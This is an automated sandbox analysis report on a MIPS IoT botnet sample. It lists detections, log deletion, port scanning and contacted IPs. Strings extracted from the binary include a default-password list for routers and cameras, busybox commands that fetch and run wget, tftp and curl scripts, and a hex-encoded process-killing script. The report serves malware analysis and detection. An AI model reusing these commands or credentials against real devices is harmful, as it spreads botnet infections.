Linux Analysis Report
la.bot.mips.elf

Overview

General Information

Sample name: la.bot.mips.elf
Analysis ID: 1543711
MD5: 1057dbd3b1cb4191c7ee029d2c565034
SHA1: 86d6bf80efae52f898a21292e6970d8ec8ee3827
SHA256: 1a5807ba70a8175a0b9d50f9deb22a6519b217538bb04eb573e222d24ecdbdab
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.mips.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.mips.elf ReversingLabs: Detection: 36%
Found strings indicative of a multi-platform dropper
Source: la.bot.mips.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mips.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//fd/mountinfo/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/
Source: la.bot.mips.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 103.253.147.242 ports 0,1,2,4,6,42061
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:55552 -> 103.253.147.242:42061
Sample listens on a socket
Source: /tmp/la.bot.mips.elf (PID: 6244) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 197.184.199.253
Source: unknown TCP traffic detected without corresponding DNS query: 197.184.199.253
Source: unknown TCP traffic detected without corresponding DNS query: 85.200.193.187
Source: unknown TCP traffic detected without corresponding DNS query: 104.32.118.67
Source: unknown TCP traffic detected without corresponding DNS query: 85.200.193.187
Source: unknown TCP traffic detected without corresponding DNS query: 152.59.240.130
Source: unknown TCP traffic detected without corresponding DNS query: 104.32.118.67
Source: unknown TCP traffic detected without corresponding DNS query: 149.99.125.203
Source: unknown TCP traffic detected without corresponding DNS query: 152.59.240.130
Source: unknown TCP traffic detected without corresponding DNS query: 45.135.25.101
Source: unknown TCP traffic detected without corresponding DNS query: 149.99.125.203
Source: unknown TCP traffic detected without corresponding DNS query: 217.111.50.226
Source: unknown TCP traffic detected without corresponding DNS query: 45.135.25.101
Source: unknown TCP traffic detected without corresponding DNS query: 163.193.206.81
Source: unknown TCP traffic detected without corresponding DNS query: 89.147.192.121
Source: unknown TCP traffic detected without corresponding DNS query: 217.111.50.226
Source: unknown TCP traffic detected without corresponding DNS query: 181.223.236.218
Source: unknown TCP traffic detected without corresponding DNS query: 189.9.190.49
Source: unknown TCP traffic detected without corresponding DNS query: 163.193.206.81
Source: unknown TCP traffic detected without corresponding DNS query: 192.198.226.131
Source: unknown TCP traffic detected without corresponding DNS query: 89.147.192.121
Source: unknown TCP traffic detected without corresponding DNS query: 181.223.236.218
Source: unknown TCP traffic detected without corresponding DNS query: 103.38.188.210
Source: unknown TCP traffic detected without corresponding DNS query: 152.79.142.185
Source: unknown TCP traffic detected without corresponding DNS query: 189.9.190.49
Source: unknown TCP traffic detected without corresponding DNS query: 190.133.162.107
Source: unknown TCP traffic detected without corresponding DNS query: 192.198.226.131
Source: unknown TCP traffic detected without corresponding DNS query: 182.212.140.157
Source: unknown TCP traffic detected without corresponding DNS query: 103.38.188.210
Source: unknown TCP traffic detected without corresponding DNS query: 152.79.142.185
Source: unknown TCP traffic detected without corresponding DNS query: 85.14.41.230
Source: unknown TCP traffic detected without corresponding DNS query: 190.133.162.107
Source: unknown TCP traffic detected without corresponding DNS query: 23.203.133.157
Source: unknown TCP traffic detected without corresponding DNS query: 182.212.140.157
Source: unknown TCP traffic detected without corresponding DNS query: 91.219.123.138
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 85.14.41.230
Source: unknown TCP traffic detected without corresponding DNS query: 184.226.115.233
Source: unknown TCP traffic detected without corresponding DNS query: 23.203.133.157
Source: unknown TCP traffic detected without corresponding DNS query: 109.168.213.14
Source: unknown TCP traffic detected without corresponding DNS query: 91.219.123.138
Source: unknown TCP traffic detected without corresponding DNS query: 196.241.171.131
Source: unknown TCP traffic detected without corresponding DNS query: 148.64.21.46
Source: unknown TCP traffic detected without corresponding DNS query: 184.226.115.233
Source: unknown TCP traffic detected without corresponding DNS query: 109.168.213.14
Source: unknown TCP traffic detected without corresponding DNS query: 191.218.52.228
Source: unknown TCP traffic detected without corresponding DNS query: 196.241.171.131
Source: unknown TCP traffic detected without corresponding DNS query: 49.183.146.130
Source: unknown TCP traffic detected without corresponding DNS query: 148.64.21.46
Source: unknown TCP traffic detected without corresponding DNS query: 25.198.119.105
Source: la.bot.mips.elf String found in binary or memory: http:///curl.sh
Source: la.bot.mips.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.mips.elf (PID: 6246) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal68.troj.evad.linELF@0/0@0/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.mips.elf (PID: 6247) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.mips.elf (PID: 6247) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6247) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6247) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6247) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6247) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6247) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6247) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6247) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6247) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6247) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/840/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6246) File opened: /proc/82/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.mips.elf (PID: 6247) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.mips.elf (PID: 6244) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.mips.elf, 6244.1.00007ffdc74b3000.00007ffdc74d4000.rw-.sdmp Binary or memory string: 3x86_64/usr/bin/qemu-mips/tmp/la.bot.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mips.elf
Source: la.bot.mips.elf, 6244.1.0000558e6ad69000.0000558e6ae10000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: la.bot.mips.elf, 6244.1.0000558e6ad69000.0000558e6ae10000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: la.bot.mips.elf, 6244.1.00007ffdc74b3000.00007ffdc74d4000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
25.86.50.195
 unknown United Kingdom
7922 COMCAST-7922US false
153.9.162.140
 unknown United States
13548 CHARLESTON-ASUS false
78.88.130.81
 unknown Poland
29314 VECTRANET-ASAlZwyciestwa25381-525GdyniaPolandPL false
189.149.183.228
 unknown Mexico
8151 UninetSAdeCVMX false
106.91.80.148
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
98.240.63.178
 unknown United States
7922 COMCAST-7922US false
17.233.173.223
 unknown United States
714 APPLE-ENGINEERINGUS false
200.57.199.97
 unknown Mexico
6503 AxtelSABdeCVMX false
144.180.251.26
 unknown Norway
25400 TELIA-NORWAY-ASTeliaNorwayCoreNetworksNO false
179.104.65.97
 unknown Brazil
53006 ALGARTELECOMSABR false
79.242.182.26
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
111.250.216.226
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
151.139.202.132
 unknown United States
20446 HIGHWINDS3US false
71.92.15.219
 unknown United States
20115 CHARTER-20115US false
209.196.69.223
 unknown United States
17306 RISE-BROADBANDUS false
66.134.223.11
 unknown United States
18566 MEGAPATH5-US false
92.191.226.37
 unknown France
12479 UNI2-ASES false
83.66.8.141
 unknown Turkey
12978 DOGAN-ONLINETR false
28.255.171.237
 unknown United States
7922 COMCAST-7922US false
48.58.39.39
 unknown United States
2686 ATGS-MMD-ASUS false
76.18.7.39
 unknown United States
7922 COMCAST-7922US false
215.135.181.163
 unknown United States
721 DNIC-ASBLK-00721-00726US false
80.114.105.247
 unknown Netherlands
33915 TNF-ASNL false
222.62.82.153
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
163.36.184.169
 unknown United States
1659 ERX-TANET-ASN1TaiwanAcademicNetworkTANetInformationC false
88.22.242.218
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
26.234.19.36
 unknown United States
7922 COMCAST-7922US false
2.1.96.218
 unknown France
3215 FranceTelecom-OrangeFR false
171.36.171.173
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
97.108.223.193
 unknown Canada
812 ROGERS-COMMUNICATIONSCA false
33.80.128.164
 unknown United States
2686 ATGS-MMD-ASUS false
17.244.109.145
 unknown United States
714 APPLE-ENGINEERINGUS false
62.57.2.245
 unknown Spain
12357 COMUNITELSPAINES false
186.102.99.255
 unknown Colombia
3816 COLOMBIATELECOMUNICACIONESSAESPCO false
112.202.177.61
 unknown Philippines
9299 IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH false
157.8.49.179
 unknown Japan 4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
54.12.106.229
 unknown United States
14618 AMAZON-AESUS false
156.247.227.130
 unknown Seychelles
26484 IKGUL-26484US false
161.95.141.20
 unknown Japan 14298 EPA-NETUS false
8.227.138.160
 unknown United States
396238 FAIRLAWNGIG-NETUS false
67.219.182.84
 unknown United States
395348 DATASPINDLEUS false
114.16.254.98
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
90.83.153.90
 unknown France
3215 FranceTelecom-OrangeFR false
53.37.111.130
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
92.98.204.195
 unknown United Arab Emirates
5384 EMIRATES-INTERNETEmiratesInternetAE false
78.99.63.19
 unknown Slovakia (SLOVAK Republic)
6855 SK-TELEKOMSK false
174.174.79.159
 unknown United States
7922 COMCAST-7922US false
191.139.208.30
 unknown Brazil
26615 TIMSABR false
132.115.19.155
 unknown United States
306 DNIC-ASBLK-00306-00371US false
126.109.90.238
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
126.25.17.96
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
129.35.104.128
 unknown United States
12980 EMEAHostingAutonomousSystemEU false
80.74.130.76
 unknown Switzerland
21069 ASN-METANETRoutingpeeringissuesnocmetanetchCH false
71.178.93.138
 unknown United States
701 UUNETUS false
38.195.60.11
 unknown United States
174 COGENT-174US false
188.129.3.173
 unknown Croatia (LOCAL Name: Hrvatska)
29485 AMISHR false
38.52.31.227
 unknown United States
174 COGENT-174US false
57.230.53.12
 unknown Belgium
2686 ATGS-MMD-ASUS false
56.228.35.102
 unknown United States
2686 ATGS-MMD-ASUS false
208.103.76.6
 unknown United States
11776 ATLANTICBB-JOHNSTOWNUS false
40.254.15.45
 unknown United States
4249 LILLY-ASUS false
59.178.244.139
 unknown India
17813 MTNL-APMahanagarTelephoneNigamLimitedIN false
119.129.22.118
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
209.22.228.250
 unknown United States
27064 DNIC-ASBLK-27032-27159US false
56.105.174.226
 unknown United States
5774 USPS-001US false
215.218.98.213
 unknown United States
721 DNIC-ASBLK-00721-00726US false
14.36.251.36
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
110.77.3.246
 unknown China
